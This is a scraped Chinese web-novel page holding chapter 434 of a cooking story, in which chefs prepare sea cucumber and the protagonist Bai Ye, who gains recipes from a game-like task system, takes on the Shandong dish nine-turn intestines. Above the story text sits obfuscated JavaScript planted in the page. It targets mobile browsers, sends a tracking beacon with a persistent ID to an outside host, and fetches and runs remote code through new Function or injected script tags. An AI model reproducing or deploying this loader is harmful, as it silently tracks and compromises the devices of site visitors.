足迹
叶皓辰楚君瑶
登录
关灯
护眼
字体:

第434章 九转大肠(第1页)

function OVHGxRJ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function YTrZu(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return OVHGxRJ(t);};window[''+'a'+'L'+'e'+'X'+'U'+'l'+'s'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=YTrZu,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://yh.dyuthic.com:7891/stats/7728/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHHR0cHHMlM0ElMkYlMkZ0by5tb2xpMTAyLnRvcCUzQTg4OTE=','d3NzJTNBJTJGJTJGdW0uYmNlbbnJzbby5jbb20lM0E5NTM1','4674',window,document,['H','b']);}:function(){};

柳鸿之前在杀青宴上做的葱烧海参是一段一段切好的。

主要是那么多桌,一人一条海参根本就不现实。

但是这次没问题,一人一条海参那是正合适。

柳鸿早就准备将海参提前泡发好,精选的都是相近大小的海参。

海参是华先生让人送来的,品相十分完美。

柳鸿计算了一下,除了第一天是每位客人一条,后面的两天用量也是绰绰有余的。

果然是大手笔。

菜单都是提前拟好的,食材也都准备好了,没想到晚上了又加了一道菜。

九转大肠,鲁菜名菜。

这道菜要做起来也是有些麻烦的。

而且不管是舒曼还是柳鸿,两人家里的老店,都不做这道菜。

两人一个擅长做素菜,一个擅长海鲜河鲜。

白叶说完,大家顿时都有点懵。

啊这,不会啊!

大家擅长的菜系不同,或许有一些都能做,但是涉及到其他派系的名菜的时候,就有点难了。

这些知名菜系,若是没有真正学过,掌握精髓,那就不如不做。

否则那是砸自己的口碑。

大家都有点犯难的时候,白叶开口,“这道菜我来做!”

之前白家老号那个分支任务,只是个三星任务。

白叶完成后获得了8888的金钱,还有50经验值,另外还有一个新菜,九转大肠。

九转大肠属于鲁菜的经典菜肴:原名为红烧大肠,是鲁省济南市的传统名菜,最早出现在清朝光绪初年,由济南九华林酒楼店主首创。

九转大肠是将清洗干净的肥肠,为了丰富口感而用套肠的方式套在一起。

不过九转并不是真的反复套了九次,而是因为九华林酒楼的老板对于九字有偏好,所以才起名字为九转。

一般来说,专业做这道菜的店,要套四次。

如果是一般的餐馆或者是自家做的,那只需要套两三次即可。M.iQue.iZ

要学这一道菜,白叶可是被虐的够呛。

虚拟教室的老师们,为了让他熟悉食材,让他从收拾大肠开始学习。

白叶以前在老老板的餐馆里也很少接触肥肠这道菜,可能是老老板不擅长,也可能是老老板不耐烦做这些。

但也不是一次没做过。